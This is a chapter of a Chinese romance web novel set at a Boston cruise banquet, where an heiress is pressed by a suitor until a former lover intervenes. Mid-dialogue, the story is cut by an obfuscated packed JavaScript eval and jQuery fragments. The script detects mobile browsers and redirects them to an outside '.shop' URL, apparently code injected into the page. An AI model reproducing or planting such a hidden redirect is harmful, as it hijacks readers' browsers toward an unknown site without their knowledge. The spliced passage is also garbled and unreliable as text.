-不要随便定义爱。
-要想抵达爱,就必须经历刻骨铭心的毁灭。
***
Dover,波士顿。
雪花漫天,树枝被压了弯,砖红石吸收着内里的璀璨灯光,依稀可见别墅五楼窗边的倩丽身影。
瞧着不大有劲儿,俨然在室内躲懒。
边上候着的管家Monica目光尽数聚焦在角落处那张美式雪茄椅上,时刻注意着。
后边人行往来,恰逢上一月一次的衣帽间置换日,一排排专线新运来的衣物推进,颜色纷呈,种类繁多。
黄铜落地灯漾着一层暖光,在月白真丝睡裙上留下淡淡光影,穆勒鞋一只已经掉落在地,另一只堪堪勾着脚尖,曼妙身姿往上是一张桃花面,扇睫如羽,入暮春风。
梁迩意的确是不大有心情的,望着窗外飘雪。
波士顿气象局说今夜无雪,依稀可见路边一条条黑线横亘,都是被上午大雪打掉的电线,社区内除她这皆是黑寂,俨然血盆大口。
手边黑胡桃茶几上置着的手机响,是母亲沈雨秧拨来的电话。
波士顿和香港隔了13个小时的时差,她这还不到下午六点,香港应该在清晨。
“妈咪。”梁迩意总算提起点精神,问候:“早晨。”
沈雨秧温然和煦的声音从听筒传来,“吃饭没有?”
“冇啊,波士顿落好大雪。“她软声说着日常小事,“Monica应该在准备了。”
梁家四个儿女,梁迩意是最小的那个,前边三个哥哥,整个梁家就她一个女儿,自然怎么宠爱都不为过。
港岛这边,即便已经十二月,但海风依旧闲适潮润。温室内,一位背脊端正,面色柔婉的女人翻看着手边资料,讲着电话,“饭还是要吃的,不能为了漂亮减肥,对身体不好。”
“嗯,我知道。”
沈雨秧握杯抿一口茶醒神,“妈咪要你帮个忙,今晚司徒家的游轮晚宴还需你代妈妈去。”
梁迩意盘腿坐起,不忘撒娇盘条件:“那妈咪要怎么奖励我?”
“嗯…妈咪和爹地月底飞波士顿陪你过圣诞,还有新年。”沈雨秧笑着说,还不忘补一句:“爹地买单。”
“OK,谢谢妈咪!”
半小时后,专为她服务的造型团队进场,从头到脚,全身心围绕打扮这位娇小姐,Monica适时将晚宴赴会名单的资料奉上,其中特别提到司徒夫人,也就是Ethan——司徒瑾的母亲。
司徒家虽今不如梁家,但时代使然,早年渡美打下家业,扎根美东华人圈已久。
沈雨秧手下有好几个慈善基金会,作为梁家主母,在“太太外交”的战场上,司徒家确有维持关系的必要。
“这位是…”梁迩意喝一口银耳羹,这是她赴宴前的惯例。
指尖点着iPad上一行,横平竖直的框内是“易”为姓,问着,“波士顿没听过这个人啊。”
“易鸿钧,京北副/国/级别人物。”Monica早前便将每个人的身份都调查仔细,这会却是手指天,多了几分谨肃,“最近外界都传这位老先生又要往上升了。”
要真是如此,那可就是正儿八经传天听,腕骨硬的人了,看来真不是寻常宾客。
哪怕后辈不从政,这老爷子的震慑力和积攒下来的人脉也注定后人能浮沉在体系中的“政”圈顶层。
梁迩意不感兴趣,总归这类人他们是甚少打交道的,点头之交已经足够。
只是这个名字在心里留下疑影。
不一会,镜中人焕然一新,黑直长发妥帖披散开,香槟金绸缎礼服自然垂坠,走动间袅袅婷婷。双手被手套圈住,腕间系嵌的高珠小巧圆润,熠熠生辉。
预备赴宴。
***
今夜风雪之大,除雪机需要畅通作业,市民非必要不出门。
湾风冽冽,码头边停靠着一艘巨大的建筑,霓虹光影如海上彩虹,拿的是纸醉金迷的乔,岸边豪车迎来送往,接驳来客。
生意人重吉时,出海的良辰吉日早已算好,豪车羊绒毯齐备,自然挡不了这场酣热盛宴。
侍应生每一个车牌号都牢记,每一块车牌也都对应着他们笑容的弧度深浅。落在泊车侍应生肩头的雪不曾停歇,脸上依旧得体的笑,来往问候着贵客。
“名单上还有几位没来?”
“叶氏公子未到。”侍应生看着金箔名单,最后落定在最后一行,支吾着声,“还有...那位的孙子,未到。”
旁人不敢轻易提及那位“老将”的威名,实在是不怒自威,铿锵矍铄。
雪地车毂印鲜明,侍应生的耳力极好,很快听出雪地窸窣响,又警醒起来精神。
泊车人先瞧见风雪中的人——
模糊但阔挺的身影,步履轻盈似踏雪寻梅,了无痕迹,却又巍峨不倒。
等近了些才看清,来人一身黑色羽绒服,间或露出内里的西服套装,还有那一抔伶仃锁骨,视线不佳下还是能辨认出他倦冷立体的五官。
这片区今夜已经设障不让闲杂人踏足,侍生即便惊异,也很有礼貌的不阻拦这位通过第一道关隘的步行来客。
公共交通瘫痪,打车来这湾边可算是费了不少功夫,剩下那段路也只得步行。来人不在意侍应生诧异中带点鄙夷的眼神,热气呼出很快结成冰雾漫开,径自入内。
虽不是旧时,但几千年文化沉积带来的“士为顶,商为末”的观念依旧或多或少影响着华人。先敬罗衣后敬人的道理哪里都适用,侍应很快将他归类为从商的叶氏,毕竟政客之家的体面是时刻端持的。更何况是四九城脚下的官,一言一行皆为人所论。
甲板往里的门厅,侍应生接过褪下的防寒衣挂在桃木架上,欠身道:“宴会厅在27层,祝您有个美好的夜晚。”
观景电梯徐徐往上,雪花触手可及飘散,海湾潮起扰不散内里的暖融。门开,水晶灯光映衬杯盏碰撞与攀谈过话,奢靡扑面而来。
“叶先生,您请。”领侍带进,刚那一会得了同事消息,也就这么叫着。
主家司徒夫人得了耳语消息,握杯出来迎,见着这冷峻身形和面容,身形微斜愣了下,“是…逾白吧?”
“司徒夫人。”酣热暖气盈满全身,易逾白勾唇淡笑,“感谢今晚的邀请。”
夫人珠光宝气,圈圜对话,笑脸相迎,“你啊,太见外啦,易老先生身体怎么样?”
“爷爷身体尚好,劳您挂心。”热毛巾净手后,骨白指节接过侍生呈上的黑皮诺红酒,郁金香杯中的猩红酒体随着主人不甚自在的心绪轻晃着。
边上的领侍人精得很,刚那会见着主家神情不对,又捕捉到“易老先生”字眼,才恍觉认错人,又暗自叹道这位年轻人明知他们认错,却不摆丝毫架子,平静下是不在乎的淡然。
司徒夫人得体的笑,又多说了几句客套话,才辞告让他别拘束。
易逾白退到角落,抿口酒后置杯,独身一人透过窗望着这片潦白雪景。
席间有人瞧见他,很快议论起来他的身份来,夫人们品评的是家世背景,小姐们谈的是外貌风雅。
“司徒夫人,那位是…?”
“那位呀,就是易鸿钧易老先生的孙子。”
贵妇们纷纷侧目咂舌,实在是那位名声响亮,功勋人物,受教后辈众多。
因为他们守的是权,立的是人望,商人多绮罗但却处被动。看似礼对,实则不是自己人,还真没谁敢莽撞攀亲。
交流但不交聚,是圈子里彼此心照不宣的隐性原则。毕竟谁都不想跟最高-检有何牵扯。
这阵子司徒家可算是造足了势,几个月前一架装着鲜活肾器的医箱由司徒家的专机送往国内,缓了老先生夫人的病痛。
虽然人还是没能留住,但总归是在那位老将面前留了面儿,让人记得这份恩情,才有了今儿这遭捧场司徒家晚宴。
让独孙来赴场,全了当日的情和司徒家的脸面。
而今,易逾白旋身,稳步移出众人探究的视线,问侍生哪能抽烟后退开。
***
旗帜帆动,这座海上宫殿开始行进,海岸引明灯渐渐化成一颗颗光球离远。
宴会厅内的酽热更上一层,下水仪式后赢得满堂彩,后进入冷餐会。
这趟下水启航仪式是短途,目的地是近靠纽黑文的小岛,也是司徒家私属。
席间,司徒夫人带着儿子司徒瑾会见各来客,端的是东道主的调。
过会,侍生稍侧讲了几句,紧接着船体出现轻微颤动,一束射光从空中打下,螺旋桨激起气流风浪的碰撞,地勤晃动指示灯提醒上边飞行员点降,H型专用停机甲板随时等候这位“海上来客”的降落。
隔音玻璃都阻不尽外头的响动,也让内里的人议论。
“这么大阵仗?司徒家排场可真是大!”
“哼,他司徒哪有这样的动静!”说话的人指着外头直升机尾桨上若隐若现的鸢尾花图案,低了声,“香港梁家来敞面光了。”
几步远,司徒夫人已经张罗着撤下部分酒水点心,换上与这样庄重礼宴不合的起泡甜酒,模样又认真的没人敢置问一句。
直升机缓落,随行航道的护艇严阵以待,机翼红灯似海上焰火般璨然,稳步降落后桨声灯影都慢下,直至渐歇。
护员迈步上前开舱门,在顶层玻璃人围注视下迎出来人。纵使宴会厅在27楼,人头依旧攒动往外望,但只看见一袭羊绒披肩裹得严实的人。
各方来客又论了起来:“那是…?”
平日和司徒家走得近的看出门道,指尖一点甲板上被围拥进入内舱的身影,“那位啊…梁家这辈的小姐。”
刚才说话的人噤声,心知肚明司徒夫人的殷勤要落到哪处了。
化妆间,化妆师正对着镜中人做着最后的装点,刚换上新的手套,门被人从外推开,司徒夫人热络上前,“V,好久不见。”
梁迩意对着她颌一颌首,道一句司徒夫人。Monica打眼色让闲余人离开,守门保镖低头势弱,为着那一眼平和厉色,对私自放人进来的不满。
司徒夫人微微笑着,“今晚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677544|207548||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要尽兴才好。”
入了宴会厅,一干人才见了庐山真面目,笑面下风波卷涌,都在说着司徒家今天这场宴,可真是造势排场极佳。
梁家和司徒家近些年关系一直不错,梁迩意也交际的差不多,趁着空隙出了宴会厅。
休息室内一应俱全,花笼点心层层迭迭,烛火曳动,香槟杯里的酒液熔金澄澈,细瘦身影百无聊赖在沙发上,摆弄手机发信息。
门被推开,司徒瑾入内,侃一句:“不喜欢今晚的趴?怎么到这躲懒?”他在梁迩意对面沙发上坐下,懒痞的很。
“还行吧,挺有意思。”
司徒瑾促笑一声,看出她的敷衍,连14层那片温室花海都没能让她多停驻一会。
“晚点组了局,裴芷瑶说去,你也来。”他抛出约。
梁迩意揿灭手机,一手拎着水晶球晚宴包,一手微提裙摆,“不去了,有点困,改天。”
她刚才来休息室时,露过一小型bar,很想来上一根解解闷。
“又去抽烟,肺不想要了?”司徒瑾跟在她后边,亦步亦趋。
梁迩意脚步加快,撂话:“别跟着我,你很烦。”
空间采纳圆弧设计,装了稍暗的氛围小灯,矮桌卡座也借鉴维多利亚时期喝下午茶的摆放,颇有些特点,也算个好去处。
司徒瑾抻开门,回嘴:“我也想抽一根,你不让?”
“……爱抽不抽。”
每一个卡座私密性做的极好,一格一个小天地,梁迩意径自挑了靠窗的位置坐下。
“叮——”
火光烁现,映出女孩俏容,还有眉心那一颗小痣,如天然花钿。
司徒瑾笑了下,接手她滑至桌面的打火机,抄了她的烟自己打了根。
还是登喜路。
玻璃窗外傲雪凌霜,里边暖意不改分毫。
“还抽这么烈的烟,伯母知道了肯定说你。”司徒瑾觑一声,语气熟捻亲近,“真不去玩一会?我听裴芷瑶说,你在家蹲了好多天。”
“你真的很烦啊…”梁迩意躁意更甚,不自觉语调拉长抱怨着,听着像咕哝软语,“都说了不去,没意思。”
美东留学圈说小不小,各大高校扎根在此,华人众多。说大也不大,分割成数不清的小圈层群体。梁迩意和裴芷瑶的小圈子更是没人能融进,一起玩闹的人居多,但能深交的没几个。
司徒瑾:“那什么有新意?加州去不去?”
两人你一句我一句的说着,烟雾弥漫,缭绕盘旋,无人注意角落卡座的身影,以及那抹相似的烟丝气息。
司徒瑾多番被拒,换个称呼笑问:“V,你最近怎么了?身体不舒服?”
半昏半暗间,那道蕴于阴处的挺正身影肉眼可见的偏了偏,像听到什么了不得的事。
V。
她说,亲近的人才会那么叫。
还有那拒绝人时撒娇轻柔捏嗓的声调……
“没有,就是有点累。”梁迩意呼出一口烟,周身放松下来,与刚才宴会上的端庄小姐颇不同,“这样的天气哪都不想去。”
实话。
这样的天气她只想在家待着,看看雪,喝喝茶。
司徒瑾起身,朝她靠近,压身将她逼至角落,拉近距离的同时催生出暧昧,“那看烟火好了,这可是专门为你放的,Vanlentines永生花系列。”
Vanlentines永生花烟火秀是由著名艺术大师操刀,一幕难求。
梁迩意蹙眉,不满他的动作,但还是耐着性子不想撕破脸,“Ethan,我是拿你当朋友的,没必要做到这份上。”
司徒瑾愈发迫着她,顺势夺了她手中的烟,“V,你应该清楚我对你的心意,且我们两家……”
梁迩意不想给他机会说完,喝道:“Ethan!”
这并没有阻遏司徒瑾的心思,搭臂在她侧边,攻击性不加掩饰,倾身直视。
雪落无声,四周太安静了,静的连烟草燃烧的窸窣动静都能听见。
“砰——”
烟花在雪夜炸响,锖色点亮黑暗,又泛着五彩光华,不愧永生名头。
等一朵绽放完的罅隙,司徒瑾也已近在咫尺,堪堪擦过脸颊就要进一步时,有声音突兀地掺杂进来。
踩踏地板发出的闷响和不规律摩擦的打火机砂轮声,那断续的声响实在挠耳,可又消减了几分这古怪不自在的气氛。
又一朵永生花盛开,是紫黑色,妖艳的很。
“哼。”风雪夜的冷冽好似渗了进来,比之不遑多让的是那冰冷的温度,那道颀长身影现了半边,嗓音低沉,“长大了。”
第三朵烟花轰响,明灭间,来人的面纱被揭开,那散懒靠着的人,还是如雪如松。
“学坏了。”第二句。
“会偷人了。”
第三句后,拨开司徒瑾,将那个怔然的小姑娘带进怀里。
三年了…
尘封已久的记忆也跟着侵入鼻腔的寒冽气息铺展开。
那是段东边下雨西边晒的浪漫日子。